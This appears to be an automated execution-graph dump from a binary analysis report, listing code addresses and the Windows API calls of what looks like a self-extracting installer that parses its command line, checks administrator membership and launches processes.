                                                                                                                                                                                                                                                                                    Total number of Limit Nodes:20
                                                                                                                                                                                                                                                                                    execution_graph 10301 412240 ??2@YAPAXI 10302 412251 10301->10302 10722 41945f __set_app_type __p__fmode __p__commode 10723 4194ce 10722->10723 10724 4194e2 10723->10724 10725 4194d6 __setusermatherr 10723->10725 10734 4195d6 _controlfp 10724->10734 10725->10724 10727 4194e7 _initterm __getmainargs _initterm 10728 41953b GetStartupInfoA 10727->10728 10730 41956f GetModuleHandleA 10728->10730 10735 4074d5 _EH_prolog 10730->10735 10734->10727 10738 405bfc ?_set_new_handler@@YAP6AHI@ZP6AHI@Z 10735->10738 11141 402017 GetModuleHandleW CreateWindowExW 10738->11141 10741 4074b4 MessageBoxA 10743 4074cb exit _XcptFilter 10741->10743 10742 405c3a 10742->10741 10744 405c54 10742->10744 10745 4014eb 2 API calls 10744->10745 10746 405c8b 10745->10746 10747 4014eb 2 API calls 10746->10747 10748 405c96 10747->10748 11144 404794 10748->11144 10753 402ab8 2 API calls 10754 405cd2 10753->10754 11153 4030cc 10754->11153 10756 405cdb lstrlenW 11167 40574f 10756->11167 10761 40574f 9 API calls 10762 405d11 10761->10762 10763 40574f 9 API calls 10762->10763 10764 405d1c 10763->10764 11183 404d0b #17 10764->11183 10767 405d34 wsprintfW 10769 405d51 10767->10769 10768 4011b7 2 API calls 10768->10767 10770 40574f 9 API calls 10769->10770 10771 405d63 10770->10771 11209 4046e2 10771->11209 10774 4046e2 3 API calls 10776 405dbe 10774->10776 10775 405d7b _wtol 10777 405d91 10775->10777 10778 405dc4 10776->10778 10779 405df8 10776->10779 10777->10774 11421 4052de 10778->11421 10781 4046e2 3 API calls 10779->10781 10782 405e03 10781->10782 10783 405e14 10782->10783 10784 405e09 10782->10784 10787 4046e2 3 API calls 10783->10787 11443 4056f2 10784->11443 10793 405e23 10787->10793 10789 405ddc ??3@YAXPAX ??3@YAXPAX 10789->10743 10790 405e59 GetModuleFileNameW 10791 405e6b 10790->10791 10792 405e7d 10790->10792 10795 409606 57 API calls 10791->10795 10796 4046e2 3 API calls 10792->10796 10793->10790 10794 4011b7 2 API calls 10793->10794 10794->10790 10987 405dc9 ??3@YAXPAX 10795->10987 10807 405e9f 10796->10807 10797 406047 10798 40143c 2 API calls 10797->10798 10799 406057 10798->10799 10800 40143c 2 API calls 10799->10800 10804 406064 10800->10804 10801 405f9c 10803 4046e2 3 API calls 10801->10803 10802 405f69 10802->10801 10806 405f85 _wtol 10802->10806 10802->10987 10815 405ffb 10803->10815 10805 4060e9 10804->10805 10809 401403 2 API calls 10804->10809 10808 402696 3 API calls 10805->10808 10806->10801 10807->10797 10807->10801 10807->10802 10812 401795 2 API calls 10807->10812 10807->10987 10810 40610b 10808->10810 10811 406099 10809->10811 10813 401403 2 API calls 10810->10813 10814 401403 2 API calls 10811->10814 10812->10807 10816 406116 ??2@YAPAXI 10813->10816 10820 4060af 10814->10820 10815->10797 10817 404e9f 2 API calls 10815->10817 10818 406122 10816->10818 10819 40602c 10817->10819 11214 4123e3 10818->11214 10819->10797 10821 40143c 2 API calls 10819->10821 10822 40143c 2 API calls 10820->10822 10821->10797 10823 4060d9 10822->10823 10825 40247d 19 API calls 10823->10825 10827 4060e0 10825->10827 10830 402ab8 2 API calls 10827->10830 10828 406175 11217 402b19 10828->11217 10829 40614f 10831 409606 57 API calls 10829->10831 10830->10805 10831->10987 10835 40618a 10836 406190 10835->10836 10837 4061b4 10835->10837 10838 409606 57 API calls 10836->10838 10839 406246 10837->10839 10841 4046e2 3 API calls 10837->10841 10840 406198 ??3@YAXPAX 10838->10840 11251 4127e6 10839->11251 10840->10987 10844 4061cb 10841->10844 10844->10839 10852 4061d1 10844->10852 10845 406273 10847 40622a ??3@YAXPAX 10845->10847 10856 40627c 10845->10856 10847->10987 10849 406268 ??3@YAXPAX 10849->10987 10850 406288 wsprintfW 10853 40247d 19 API calls 10850->10853 10851 4062bb 11254 404f0e 10851->11254 10852->10847 11451 40599c 10852->11451 10853->10856 10856->10850 10856->10851 10860 40574f 9 API calls 10856->10860 10858 40574f 9 API calls 10913 4062da 10858->10913 10859 406200 10859->10847 10861 406206 10859->10861 10860->10856 10862 409606 57 API calls 10861->10862 10863 40620e ??3@YAXPAX 10862->10863 10863->10987 10864 406594 10865 4065f3 10864->10865 10866 402a67 2 API calls 10864->10866 10867 40574f 9 API calls 10865->10867 10868 4065b2 10866->10868 10870 406624 10867->10870 10871 404bfd 3 API calls 10868->10871 10869 404505 lstrlenW lstrlenW _wcsnicmp 10869->10913 10872 402a67 2 API calls 10870->10872 10873 4065c5 10871->10873 10874 40662f 10872->10874 10875 40143c 2 API calls 10873->10875 11319 404bfd 10874->11319 10878 4065d1 ??3@YAXPAX ??3@YAXPAX 10875->10878 10880 405976 4 API calls 10878->10880 10882 4065eb 10880->10882 10881 40143c 2 API calls 10883 406650 ??3@YAXPAX ??3@YAXPAX 10881->10883 10884 405950 4 API calls 10882->10884 11331 405976 10883->11331 10884->10865 10886 40666a 11336 405950 10886->11336 10888 406672 10889 40574f 9 API calls 10888->10889 10890 40667f 10889->10890 10891 404f0e 26 API calls 10890->10891 10892 406688 10891->10892 10893 4067f4 10892->10893 11534 402744 AllocateAndInitializeSid 10892->11534 11341 4029a6 10893->11341 10897 4066af 10899 4014eb 2 API calls 10897->10899 10898 40689f 11344 404952 10898->11344 10901 4066b7 10899->10901 10900 402a67 2 API calls 10943 40680b 10900->10943 10904 4014eb 2 API calls 10901->10904 10902 4064b5 _wtol 10902->10913 10906 4066bf GetCommandLineW 10904->10906 10909 404e9f 2 API calls 10906->10909 10907 406926 CoInitialize 10915 4029a6 lstrcmpW 10907->10915 10908 4014eb 2 API calls 10908->10913 10914 4066cf 10909->10914 10910 4068a1 ??3@YAXPAX 10910->10898 10912 4029a6 lstrcmpW 10916 4068d5 10912->10916 10913->10864 10913->10869 10913->10902 10913->10908 10917 404e9f 2 API calls 10913->10917 10944 4065f8 ??3@YAXPAX 10913->10944 11506 405195 10913->11506 11517 4049a9 10913->11517 11531 401503 10913->11531 10918 402a67 2 API calls 10914->10918 10919 40694c 10915->10919 10920 4068e5 10916->10920 10924 40247d 19 API calls 10916->10924 10917->10913 10921 4066da 10918->10921 10923 406960 10919->10923 10930 401403 2 API calls 10919->10930 11549 404495 10920->11549 10927 404cb1 2 API calls 10921->10927 10922 4014eb ??2@YAPAXI ??3@YAXPAX 10922->10943 10931 4044ae 16 API calls 10923->10931 10924->10920 10934 4066f8 10927->10934 10928 40143c 2 API calls 10928->10943 10930->10923 10935 406966 10931->10935 10937 404ccf 2 API calls 10934->10937 10940 4029a6 lstrcmpW 10935->10940 10936 40844b 22 API calls 10941 406908 10936->10941 10938 406705 10937->10938 10942 404ccf 2 API calls 10938->10942 10939 401403 2 API calls 10939->10943 10945 406976 10940->10945 11552 4081be ??3@YAXPAX 10941->11552 10947 406712 10942->10947 10943->10898 10943->10900 10943->10910 10943->10922 10943->10928 10943->10939 11542 4035cf ??2@YAPAXI 10943->11542 11548 402990 ??3@YAXPAX ??3@YAXPAX 10943->11548 10944->10987 10949 406a4f 10945->10949 10956 40698f lstrlenW 10945->10956 11537 404ced 10947->11537 10952 4029a6 lstrcmpW 10949->10952 10950 406913 ??3@YAXPAX 10950->10907 10953 406a60 10952->10953 10957 406a74 10953->10957 10958 406a67 _wtol 10953->10958 10974 4069a7 10956->10974 10961 406a96 10957->10961 11553 4097f6 10957->11553 10958->10957 10959 4017c0 2 API calls 10962 40672c 10959->10962 10960 40687c ??3@YAXPAX 10963 4029a6 lstrcmpW 10960->10963 10966 406aaa 10961->10966 10967 406a86 ??3@YAXPAX 10961->10967 11570 4096fb 10961->11570 10965 40143c 2 API calls 10962->10965 10963->10943 10968 406738 7 API calls 10965->10968 11009 406adb 10966->11009 11350 4015d8 10966->11350 10967->10961 10970 4053b2 9 API calls 10968->10970 10972 406780 10970->10972 10975 40678a ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 10972->10975 10976 4067be ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 10972->10976 10980 401503 2 API calls 10974->10980 10975->10987 10976->10987 10977 406ac1 ??3@YAXPAX 10977->10987 10978 4014eb 2 API calls 10978->11009 10980->10949 10981 406c64 ??3@YAXPAX 10981->10987 10982 406b19 GetKeyState 10982->11009 10983 406cc6 10985 406cfc 10983->10985 10986 406cce 10983->10986 10984 4029a6 lstrcmpW 10984->11009 10990 4013d1 2 API calls 10985->10990 11624 4048a3 10986->11624 11438 4047e1 10987->11438 10988 401795 ??2@YAPAXI ??3@YAXPAX 10988->11009 10993 406d0a 10990->10993 10995 4044ae 16 API calls 10993->10995 10994 40143c 2 API calls 10996 406ceb ??3@YAXPAX 10994->10996 10997 406d13 10995->10997 11005 406d33 10996->11005 10998 406d24 ??3@YAXPAX 10997->10998 11002 40143c 2 API calls 10997->11002 10998->11005 10999 406cb6 ??3@YAXPAX ??3@YAXPAX 10999->10987 11000 406c59 ??3@YAXPAX 11000->11009 11001 406c83 11003 409606 57 API calls 11001->11003 11002->10998 11004 406c8f ??3@YAXPAX ??3@YAXPAX 11003->11004 11004->10987 11007 406d70 11005->11007 11008 406d7d 11005->11008 11006 401403 ??2@YAPAXI ??3@YAXPAX 11006->11009 11363 4019d2 ??2@YAPAXI 11007->11363 11637 408caa 11008->11637 11009->10978 11009->10981 11009->10982 11009->10983 11009->10984 11009->10988 11009->10999 11009->11000 11009->11001 11009->11006 11603 408bec 11009->11603 11616 408c6a 11009->11616 11012 406d79 11013 406dba 11012->11013 11014 406d8f 11012->11014 11015 404952 22 API calls 11013->11015 11645 40477e 11014->11645 11017 406dbf 11015->11017 11019 4073b0 11017->11019 11020 4014eb 2 API calls 11017->11020 11022 407428 11019->11022 11024 4029a6 lstrcmpW 11019->11024 11021 406ddd 11020->11021 11064 406df0 11021->11064 11649 404e49 11021->11649 11023 40746b ??3@YAXPAX ??3@YAXPAX 11022->11023 11029 4029a6 lstrcmpW 11022->11029 11027 407484 11023->11027 11028 40748a ??3@YAXPAX 11023->11028 11026 4073e1 11024->11026 11026->11022 11716 404765 11026->11716 11027->11028 11030 4047e1 3 API calls 11028->11030 11031 407447 11029->11031 11033 40749b ??3@YAXPAX ??3@YAXPAX 11030->11033 11031->11023 11035 407454 11031->11035 11032 4014eb ??2@YAPAXI ??3@YAXPAX 11032->11064 11033->10743 11038 4013d1 2 API calls 11035->11038 11036 406e1f 11039 407246 ??3@YAXPAX ??3@YAXPAX 11036->11039 11040 406e2c 11036->11040 11044 407463 11038->11044 11043 40734f 11039->11043 11045 404ccf 2 API calls 11040->11045 11041 4029a6 lstrcmpW 11041->11064 11042 40844b 22 API calls 11046 40741d 11042->11046 11047 4073a7 ??3@YAXPAX 11043->11047 11053 404952 22 API calls 11043->11053 11720 405793 11044->11720 11049 406e48 11045->11049 11719 4081be ??3@YAXPAX 11046->11719 11047->11019 11055 404ccf 2 API calls 11049->11055 11050 406e8c 11052 401403 2 API calls 11050->11052 11056 406e95 11052->11056 11057 40735e 11053->11057 11058 406e55 11055->11058 11060 4044e2 20 API calls 11056->11060 11706 4051f3 11057->11706 11063 40143c 2 API calls 11058->11063 11059 4072ac ??3@YAXPAX ??3@YAXPAX 11059->11043 11079 406e9e 11060->11079 11061 401403 2 API calls 11061->11064 11066 406e61 ??3@YAXPAX ??3@YAXPAX GetFileAttributesW 11063->11066 11064->11032 11064->11036 11064->11041 11064->11050 11064->11059 11064->11061 11067 401795 2 API calls 11064->11067 11065 407377 SetCurrentDirectoryW 11068 4051f3 4 API calls 11065->11068 11069 406e88 11066->11069 11070 40725d 11066->11070 11072 406f2c ??3@YAXPAX ??3@YAXPAX 11067->11072 11073 40739f 11068->11073 11069->11050 11071 40477e 16 API calls 11070->11071 11074 407262 11071->11074 11072->11064 11075 40477e 16 API calls 11073->11075 11076 409606 57 API calls 11074->11076 11075->11047 11077 40726b ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 11076->11077 11077->10987 11078 4072a1 11077->11078 11078->10987 11080 406fcb _wtol 11079->11080 11081 40453f lstrlenW lstrlenW _wcsnicmp 11079->11081 11082 40708f 11079->11082 11080->11079 11081->11079 11083 407098 11082->11083 11084 4070ea 11082->11084 11085 4070bd 11083->11085 11086 40709e 11083->11086 11087 40143c 2 API calls 11084->11087 11090 401403 2 API calls 11085->11090 11088 401403 2 API calls 11086->11088 11089 4070e8 11087->11089 11091 4070a9 11088->11091 11092 402ab8 2 API calls 11089->11092 11093 4070bb 11090->11093 11094 402ab8 2 API calls 11091->11094 11095 4070fc 11092->11095 11096 4029a6 lstrcmpW 11093->11096 11097 4070b2 11094->11097 11098 4014eb 2 API calls 11095->11098 11099 4070d2 11096->11099 11100 402ab8 2 API calls 11097->11100 11101 407104 11098->11101 11099->11095 11102 402ab8 2 API calls 11099->11102 11100->11093 11103 404e9f 2 API calls 11101->11103 11102->11089 11104 407111 11103->11104 11105 402a67 2 API calls 11104->11105 11106 40711c 11105->11106 11107 4044e2 20 API calls 11106->11107 11108 407125 11107->11108 11109 407200 11108->11109 11384 402713 11108->11384 11111 40732e ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 11109->11111 11113 407214 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 11109->11113 11111->11043 11112 40713a 11112->11109 11114 407154 11112->11114 11115 402ab8 2 API calls 11112->11115 11113->11039 11116 4044e2 20 API calls 11114->11116 11115->11114 11117 40716c 11116->11117 11118 4071e2 11117->11118 11119 407173 11117->11119 11658 405489 11118->11658 11393 404cb1 11119->11393 11122 4071f0 11124 4072cb SetLastError 11122->11124 11125 4071fb 11122->11125 11129 4072d2 11124->11129 11703 4026ab 11125->11703 11131 409606 57 API calls 11129->11131 11130 4017c0 2 API calls 11132 4071a8 ??3@YAXPAX ??3@YAXPAX 11130->11132 11133 4072dc 11131->11133 11403 4053b2 11132->11403 11135 40477e 16 API calls 11133->11135 11137 4072e1 7 API calls 11135->11137 11136 4071cc 11139 4072c3 ??3@YAXPAX 11136->11139 11140 4071da ??3@YAXPAX 11136->11140 11138 407321 11137->11138 11138->11111 11139->11129 11140->11125 11142 40204c SetTimer GetMessageW DispatchMessageW KillTimer KiUserCallbackDispatcher 11141->11142 11143 40207f GetVersionExW 11141->11143 11142->11143 11143->10741 11143->10742 11145 4011b7 2 API calls 11144->11145 11146 4047a9 GetCommandLineW 11145->11146 11147 404e9f 11146->11147 11149 404ed9 11147->11149 11152 404ead 11147->11152 11148 404ed1 11148->10753 11149->11148 11151 401795 2 API calls 11149->11151 11150 401795 2 API calls 11150->11152 11151->11149 11152->11148 11152->11150 11154 4014eb 2 API calls 11153->11154 11162 4030dc 11154->11162 11155 4031c2 11156 40143c 2 API calls 11155->11156 11157 4031cf ??3@YAXPAX 11156->11157 11157->10756 11158 401795 ??2@YAPAXI ??3@YAXPAX 11158->11162 11160 4014eb 2 API calls 11160->11162 11162->11155 11162->11158 11162->11160 11163 40143c 2 API calls 11162->11163 11759 402b31 11162->11759 11762 402dce 11162->11762 11164 40313c ??3@YAXPAX 11163->11164 11165 4014bc 2 API calls 11164->11165 11166 403151 ??3@YAXPAX ??3@YAXPAX 11165->11166 11166->11162 11168 4014eb 2 API calls 11167->11168 11169 40575d 11168->11169 11170 4014eb 2 API calls 11169->11170 11171 405765 11170->11171 11172 401403 2 API calls 11171->11172 11173 405770 11172->11173 11174 401403 2 API calls 11173->11174 11175 40577b 11174->11175 11176 4035cf 7 API calls 11175->11176 11177 405789 11176->11177 11777 402990 ??3@YAXPAX ??3@YAXPAX 11177->11777 11179 405791 11180 402696 11179->11180 11778 402665 LoadLibraryA GetProcAddress 11180->11778 11182 40269b 11182->10761 11184 404d22 11183->11184 11185 402427 3 API calls 11184->11185 11186 404d27 11185->11186 11187 40247d 19 API calls 11186->11187 11188 404d2e 11187->11188 11189 40247d 19 API calls 11188->11189 11190 404d3a 11189->11190 11191 40247d 19 API calls 11190->11191 11192 404d46 11191->11192 11193 40247d 19 API calls 11192->11193 11194 404d52 11193->11194 11195 40247d 19 API calls 11194->11195 11196 404d5e 11195->11196 11197 40247d 19 API calls 11196->11197 11198 404d6a 11197->11198 11199 40247d 19 API calls 11198->11199 11205 404d76 11199->11205 11200 404d91 SHGetSpecialFolderPathW 11201 404dab wsprintfW 11200->11201 11200->11205 11202 4014eb 2 API calls 11201->11202 11202->11205 11203 404e44 11203->10767 11203->10768 11204 4014eb 2 API calls 11204->11205 11205->11200 11205->11203 11205->11204 11207 401403 ??2@YAPAXI ??3@YAXPAX 11205->11207 11208 4035cf 7 API calls 11205->11208 11781 402990 ??3@YAXPAX ??3@YAXPAX 11205->11781 11207->11205 11208->11205 11210 4046f1 11209->11210 11211 40470b lstrlenW lstrlenW 11210->11211 11213 40472e 11210->11213 11782 401f6a 11211->11782 11213->10775 11213->10777 11792 4123c1 11214->11792 11218 402805 2 API calls 11217->11218 11219 402b2d 11218->11219 11220 403f89 11219->11220 11221 402665 3 API calls 11220->11221 11222 403f97 11221->11222 11223 402b19 2 API calls 11222->11223 11224 403fd0 11223->11224 11225 402b19 2 API calls 11224->11225 11226 403fd8 11225->11226 11227 402b19 2 API calls 11226->11227 11228 403fe0 11227->11228 11798 403e98 11228->11798 11234 404076 11235 403e98 7 API calls 11234->11235 11237 40408c 11235->11237 11236 403e98 7 API calls 11238 40401d 11236->11238 11239 402ee4 10 API calls 11237->11239 11238->11234 11238->11236 11240 402ee4 10 API calls 11238->11240 11244 402c7f 2 API calls 11238->11244 11844 402c49 11238->11844 11241 40409e 11239->11241 11240->11238 11841 402c7f 11241->11841 11244->11238 11245 404114 ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 11245->10835 11246 403e98 7 API calls 11248 4040b4 11246->11248 11247 402ee4 10 API calls 11247->11248 11248->11245 11248->11246 11248->11247 11249 402c49 2 API calls 11248->11249 11250 402c7f 2 API calls 11248->11250 11249->11248 11250->11248 11887 412709 11251->11887 11255 4029a6 lstrcmpW 11254->11255 11256 404f27 11255->11256 11257 404f77 11256->11257 11259 401403 2 API calls 11256->11259 11258 4029a6 lstrcmpW 11257->11258 11260 404f95 11258->11260 11261 404f3e 11259->11261 11263 4029a6 lstrcmpW 11260->11263 11262 40247d 19 API calls 11261->11262 11264 404f45 11262->11264 11265 404fad 11263->11265 11266 402ab8 2 API calls 11264->11266 11268 4029a6 lstrcmpW 11265->11268 11267 404f4e 11266->11267 11269 401403 2 API calls 11267->11269 11270 404fc5 11268->11270 11271 404f67 11269->11271 11273 4029a6 lstrcmpW 11270->11273 11272 40247d 19 API calls 11271->11272 11274 404f6e 11272->11274 11275 404fdd 11273->11275 11276 402ab8 2 API calls 11274->11276 11277 404fe4 lstrcmpiW 11275->11277 11278 404ff4 11275->11278 11276->11257 11277->11278 11279 4029a6 lstrcmpW 11278->11279 11280 40500a 11279->11280 11281 4029a6 lstrcmpW 11280->11281 11282 405037 11281->11282 11283 405044 11282->11283 11904 404690 11282->11904 11285 4029a6 lstrcmpW 11283->11285 11289 405058 11285->11289 11286 405078 11288 4029a6 lstrcmpW 11286->11288 11295 40508b 11288->11295 11289->11286 11290 4029a6 lstrcmpW 11289->11290 11908 404637 11289->11908 11290->11289 11291 4050ab 11292 4029a6 lstrcmpW 11291->11292 11294 4050b7 11292->11294 11296 4029a6 lstrcmpW 11294->11296 11295->11291 11297 4029a6 lstrcmpW 11295->11297 11912 404668 11295->11912 11298 4050c8 11296->11298 11297->11295 11299 4029a6 lstrcmpW 11298->11299 11300 4050d9 11299->11300 11301 4050e6 _wtol 11300->11301 11302 4050ef 11300->11302 11301->11302 11303 4029a6 lstrcmpW 11302->11303 11304 4050fb 11303->11304 11305 405102 _wtol 11304->11305 11306 40510b 11304->11306 11305->11306 11307 4029a6 lstrcmpW 11306->11307 11308 405117 11307->11308 11309 4029a6 lstrcmpW 11308->11309 11310 40512f 11309->11310 11311 4029a6 lstrcmpW 11310->11311 11312 405147 11311->11312 11313 4029a6 lstrcmpW 11312->11313 11314 40515f 11313->11314 11315 4029a6 lstrcmpW 11314->11315 11316 40517c 11315->11316 11317 40518d 11316->11317 11318 40247d 19 API calls 11316->11318 11317->10858 11318->11317 11320 404c17 11319->11320 11321 404c2e 11320->11321 11322 404c23 11320->11322 11323 4014eb 2 API calls 11321->11323 11324 4013d1 2 API calls 11322->11324 11325 404c37 11323->11325 11327 404c2c 11324->11327 11326 4011b7 2 API calls 11325->11326 11328 404c40 11326->11328 11327->10881 11329 4013d1 2 API calls 11328->11329 11330 404c73 ??3@YAXPAX 11329->11330 11330->11327 11920 404c84 11331->11920 11337 404c84 2 API calls 11336->11337 11338 405962 11337->11338 11938 404813 11338->11938 11942 402910 11341->11942 11345 404963 11344->11345 11346 4049a6 11344->11346 11347 4013d1 2 API calls 11345->11347 11348 4044e2 20 API calls 11345->11348 11346->10907 11346->10912 11347->11345 11349 404980 SetEnvironmentVariableW ??3@YAXPAX 11348->11349 11349->11345 11349->11346 11351 4015f2 ??2@YAPAXI 11350->11351 11361 4015ea 11350->11361 11352 401601 11351->11352 11362 412a6a 3 API calls 11352->11362 11353 401623 11946 40113f 11353->11946 11355 401647 11356 412574 VariantClear 11355->11356 11357 4016aa 11355->11357 11355->11361 11356->11355 11951 401556 11357->11951 11360 412574 VariantClear 11360->11361 11361->10977 11361->11009 11362->11353 11364 4019eb 11363->11364 11383 412a6a 3 API calls 11364->11383 11365 401a0f 11366 401a90 11365->11366 11367 401a21 ??2@YAPAXI 11365->11367 11369 409606 57 API calls 11366->11369 11368 401a2d 11367->11368 11370 40113f 176 API calls 11368->11370 11382 401aa9 11369->11382 11371 401a5a 11370->11371 11371->11366 11372 401a61 11371->11372 11373 401a79 ??2@YAPAXI 11372->11373 11374 4039e7 88 API calls 11372->11374 11375 401a85 11373->11375 11376 401a8c 11373->11376 11377 401a74 11374->11377 12567 4016d4 11375->12567 11379 4015d8 178 API calls 11376->11379 11377->11373 11377->11382 11380 401ad3 11379->11380 12548 401880 11380->12548 11382->11012 11383->11365 11385 402721 11384->11385 11386 40271c 11384->11386 11387 402665 3 API calls 11385->11387 11386->11112 11388 402726 11387->11388 11389 402730 11388->11389 11391 402737 11388->11391 12578 4026df LoadLibraryA GetProcAddress 11389->12578 11391->11112 11394 404794 2 API calls 11393->11394 11395 404cbf 11394->11395 11396 4014bc 2 API calls 11395->11396 11397 404cca 11396->11397 11398 404ccf 11397->11398 11399 4013d1 2 API calls 11398->11399 11400 404cdd 11399->11400 11401 402ab8 2 API calls 11400->11401 11402 404ce8 11401->11402 11402->11130 11404 4014eb 2 API calls 11403->11404 11405 4053c3 11404->11405 11406 4014eb 2 API calls 11405->11406 11407 4053cb memset 11406->11407 11408 4053f9 11407->11408 11409 404e9f 2 API calls 11408->11409 11410 40541c 11409->11410 11411 401403 2 API calls 11410->11411 11412 405427 11411->11412 11413 405445 ShellExecuteExW 11412->11413 11414 40542c ??3@YAXPAX 11412->11414 11416 405485 11413->11416 11417 40545f 11413->11417 11415 405437 ??3@YAXPAX 11414->11415 11415->11136 11420 40547c ??3@YAXPAX 11416->11420 11418 405473 CloseHandle 11417->11418 11419 405468 WaitForSingleObject 11417->11419 11418->11420 11419->11418 11420->11415 11422 4083ea 4 API calls 11421->11422 11423 4052fa 11422->11423 11424 40247d 19 API calls 11423->11424 11425 405308 11424->11425 11426 402a67 2 API calls 11425->11426 11428 405312 11426->11428 11427 405348 wsprintfW 11429 402ab8 2 API calls 11427->11429 11428->11427 11431 402ab8 ??2@YAPAXI ??3@YAXPAX 11428->11431 11430 40537c 11429->11430 11432 402ab8 2 API calls 11430->11432 11431->11428 11433 405389 11432->11433 11434 40844b 22 API calls 11433->11434 11435 40539e ??3@YAXPAX 11434->11435 12580 4081be ??3@YAXPAX 11435->12580 11437 4053af 11437->10987 11439 4127e6 ctype 2 API calls 11438->11439 11440 4047ef 11439->11440 11441 412709 ctype 2 API calls 11440->11441 11442 41286e ??3@YAXPAX 11441->11442 11442->10789 11444 4056ff 11443->11444 11450 40571b 11443->11450 11447 405711 _wtol 11444->11447 11444->11450 11445 4053b2 9 API calls 11446 40573e 11445->11446 11448 405746 GetLastError 11446->11448 11449 40574c 11446->11449 11447->11450 11448->11449 11449->10987 11450->11445 11452 412468 2 API calls 11451->11452 11453 4059c8 11452->11453 11454 405a24 11453->11454 11456 402a67 2 API calls 11453->11456 11455 402b19 2 API calls 11454->11455 11457 405a2c 11455->11457 11459 4059d7 11456->11459 11458 402baf 2 API calls 11457->11458 11460 405a39 11458->11460 11461 405a95 ??3@YAXPAX 11459->11461 11463 4039e7 88 API calls 11459->11463 11462 402c49 2 API calls 11460->11462 11476 405a91 11461->11476 11464 405a46 11462->11464 11465 4059fb 11463->11465 11466 402c49 2 API calls 11464->11466 11465->11461 11469 412468 2 API calls 11465->11469 11467 405a53 11466->11467 11468 402c49 2 API calls 11467->11468 11470 405a60 11468->11470 11471 405a17 11469->11471 11472 412ace 2 API calls 11470->11472 11471->11461 11473 405a1b ??3@YAXPAX 11471->11473 11474 405a74 11472->11474 11473->11454 11474->11461 11475 405a7d ??3@YAXPAX 11474->11475 11475->11476 11476->10859 11477 4036f6 11478 402b19 2 API calls 11477->11478 11483 40370b 11478->11483 11479 4039aa ??3@YAXPAX 11480 4039e1 11479->11480 11480->10845 11480->10849 11481 4014eb ??2@YAPAXI ??3@YAXPAX 11481->11483 11482 402b19 2 API calls 11482->11483 11483->11479 11483->11481 11483->11482 11484 40143c 2 API calls 11483->11484 11486 4039b6 11483->11486 11491 403889 strncmp 11483->11491 11495 402dce ??2@YAPAXI ??3@YAXPAX MultiByteToWideChar 11483->11495 11496 40143c 2 API calls 11483->11496 11497 402c21 2 API calls 11483->11497 11501 402c21 ??2@YAPAXI ??3@YAXPAX 11483->11501 11502 40393e lstrlenW wcsncmp 11483->11502 11503 402910 lstrcmpW 11483->11503 11504 4035cf 7 API calls 11483->11504 11505 401403 2 API calls 11483->11505 12581 402958 11483->12581 12585 402990 ??3@YAXPAX ??3@YAXPAX 11483->12585 11485 40377c ??3@YAXPAX ??3@YAXPAX 11484->11485 11485->11483 11485->11486 12586 403026 11486->12586 11490 4039d7 ??3@YAXPAX 11490->11480 11491->11483 11492 403874 strncmp 11491->11492 11492->11483 11492->11491 11495->11483 11498 4038f6 ??3@YAXPAX 11496->11498 11497->11492 11499 4030cc 9 API calls 11498->11499 11500 403907 lstrcmpW 11499->11500 11500->11483 11501->11483 11502->11483 11503->11483 11504->11483 11505->11483 11507 402a67 2 API calls 11506->11507 11508 4051a7 11507->11508 11509 402ab8 2 API calls 11508->11509 11514 4051b4 11509->11514 11510 4051d0 11511 402ab8 2 API calls 11510->11511 11513 4051da 11511->11513 11512 401795 2 API calls 11512->11514 11515 4049a9 94 API calls 11513->11515 11514->11510 11514->11512 11516 4051e5 ??3@YAXPAX 11515->11516 11516->10913 11518 4049c0 lstrlenW 11517->11518 11519 4049ec 11517->11519 11520 401f6a CharUpperW 11518->11520 11519->10913 11521 4049d6 11520->11521 11521->11518 11521->11519 11522 4049f3 11521->11522 11523 402a67 2 API calls 11522->11523 11526 4049fc 11523->11526 12605 402e16 11526->12605 11527 4036f6 87 API calls 11528 404a6a 11527->11528 11529 404a74 ??3@YAXPAX ??3@YAXPAX 11528->11529 11530 404a8b ??3@YAXPAX ??3@YAXPAX 11528->11530 11529->11519 11530->11519 11532 401403 2 API calls 11531->11532 11533 401511 ??3@YAXPAX 11532->11533 11533->10913 11535 4027a1 11534->11535 11536 402787 CheckTokenMembership FreeSid 11534->11536 11535->10893 11535->10897 11536->11535 11538 4013d1 2 API calls 11537->11538 11539 404cfb 11538->11539 11540 401795 2 API calls 11539->11540 11541 404d06 11540->11541 11541->10959 11543 4035de 11542->11543 11545 4035e9 11542->11545 12615 402cad 11543->12615 11546 416407 4 API calls 11545->11546 11547 4035f5 11546->11547 11547->10943 11548->10960 11550 4083ea 4 API calls 11549->11550 11551 40449d 11550->11551 11551->10936 11552->10950 11554 409a82 11553->11554 11555 409815 11553->11555 11554->10967 11555->11554 11556 408c6a 25 API calls 11555->11556 11557 401556 6 API calls 11555->11557 11558 4083ea 4 API calls 11555->11558 11559 408bec 25 API calls 11555->11559 11560 408caa 25 API calls 11555->11560 11561 404495 4 API calls 11555->11561 11562 4029a6 lstrcmpW 11555->11562 11564 40247d 19 API calls 11555->11564 11565 409599 27 API calls 11555->11565 11566 409606 57 API calls 11555->11566 11568 404765 4 API calls 11555->11568 11569 40844b 22 API calls 11555->11569 12620 4084c5 11555->12620 12624 4081be ??3@YAXPAX 11555->12624 11556->11555 11557->11555 11558->11555 11559->11555 11560->11555 11561->11555 11562->11555 11564->11555 11565->11555 11566->11555 11568->11555 11569->11555 11571 4029a6 lstrcmpW 11570->11571 11572 40970f 11571->11572 11573 40971d 11572->11573 12625 401ed5 GetStdHandle WriteFile 11572->12625 11575 409730 11573->11575 12626 401ed5 GetStdHandle WriteFile 11573->12626 11577 409745 11575->11577 12627 401ed5 GetStdHandle WriteFile 11575->12627 11578 409756 11577->11578 12628 401ed5 GetStdHandle WriteFile 11577->12628 11581 4029a6 lstrcmpW 11578->11581 11582 409763 11581->11582 11583 409771 11582->11583 12629 401ed5 GetStdHandle WriteFile 11582->12629 11585 4029a6 lstrcmpW 11583->11585 11586 40977e 11585->11586 11587 40978c 11586->11587 12630 401ed5 GetStdHandle WriteFile 11586->12630 11588 4029a6 lstrcmpW 11587->11588 11590 409799 11588->11590 11591 4097a7 11590->11591 12631 401ed5 GetStdHandle WriteFile 11590->12631 11593 4029a6 lstrcmpW 11591->11593 11594 4097b4 